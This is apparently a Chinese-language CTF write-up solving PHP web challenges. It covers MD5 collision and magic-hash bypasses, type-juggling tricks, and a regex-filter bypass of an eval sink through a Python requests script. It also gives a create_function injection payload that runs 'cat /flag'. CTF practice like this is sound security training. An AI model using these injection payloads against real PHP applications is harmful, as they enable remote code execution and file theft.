Misc

Web

1.RCE但是没有完全RCE

<?php error_reporting(0); highlight_file(__FILE__); include "level2.php"; if(isset($_GET['md5_1'] ) && isset($_GET['md5_2'])){    if((string)$_GET['md5_1']!==(string)$_GET['md5_2'] && md5($_GET['md5_1'])===md5($_GET['md5_2'])){        if(isset($_POST['md5_3']) && md5($_POST['md5_3'])==$_POST['md5_3']){            echo $level2;       }        else{            echo "2 Failed";       }   }    else{        echo "1 Failed";   } }

第一步md5绕过。。。第一层是撞md5相同值用fastcoll。

第二层是'0e'开头的md5,用给定的字符串。如md5(CbDLytmyGm2xQyaLNhWn)

POST和GET分别对应URL中参数和POST中data。

成功后来到第二层

<?php highlight_file(__FILE__); $shell = $_POST['shell']; $cmd = $_GET['cmd']; if(preg_match('/f|l|a|g|\*|\?/i',$cmd)){    die("Hacker!!!!!!!!"); } eval($shell($cmd));

匹配了f,l,a,g,通配符,?,可以用多余的参数将限制绕过。

mapp = { "f": "t", "l": "r", "a": "e", "g": "s", } payload = """echo `cat /flag`;""" cmd = "" for i in payload: if i in mapp: cmd += f"$_POST[{mapp[i]}]" else: cmd += i datasend = "shell=sprintf" for k in mapp.keys(): datasend += f"&{mapp[k]}={k}" import requests as r url = "http://localhost:9000/3z_RC3.php" res = r.post( f"{url}?cmd={cmd}", headers={"Content-Type": "application/x-www-form-urlencoded"}, data=datasend, ) r = __import__("re").search(r"flag{.*}", res.text) print(r.group(0))

2.了解过PHP特性吗

<?php error_reporting(0); highlight_file(__FILE__); $num = $_GET['num']; if (preg_match("/[0-9]/", $num)) {    die("no!!"); } if (intval($num)) {    echo 1; } if (isset($_POST['ctype']) && isset($_POST['is_num'])) {    $ctype = strrev($_POST['ctype']);    $is_num = strrev($_POST['is_num']);    if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {        echo 2;   } } $_114 = $_GET['114']; $_514 = $_POST['514']; if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {    if (!is_numeric($_514) && $_514 > 9999999) {        echo 3;   } } $arr4y = $_POST['arr4y']; if (is_array($arr4y)) {    for ($i = 0; $i < count($arr4y); $i++) {        if ($arr4y[$i] === "NSS") {            die("no!");       }        $arr4y[$i] = intval($arr4y[$i]);   }    if (array_search("NSS", $arr4y) === 0) {        echo 4;   } }

emm特性啥的...我妹学过php啊

搜出来了。。

1.preg_match绕过用数组传入绕过

2.同样的md5绕过..一个是数字一个是字符串is_num=240610708,ctype=QNKCDZO记得要反序一下(x

3.第一个科学计数法,第二个带字母的字符串114=1e9,514=99999999a

4.传入数组,NSS加上空格。

第二问

<?php error_reporting(0); highlight_file(__FILE__); $nss = $_POST['nss']; $shell = $_POST['shell']; if(isset($shell)&&isset($nss)){    $nss_shell = create_function($shell,$nss); }

create_function:类似lambda,但是没有调用,大概是这个样子:

function nss_shell($shell){    $nss }

构造如下payload可以溢出:

shell=(啥都可以)&nss=}cmd;/*

补全之后是这样:

function nss_shell($shell){ } cmd /* }

所以可以运行到cmd中的内容。

构造本题payload

shell=&nss=}echo `cat /flag`;/*

即可。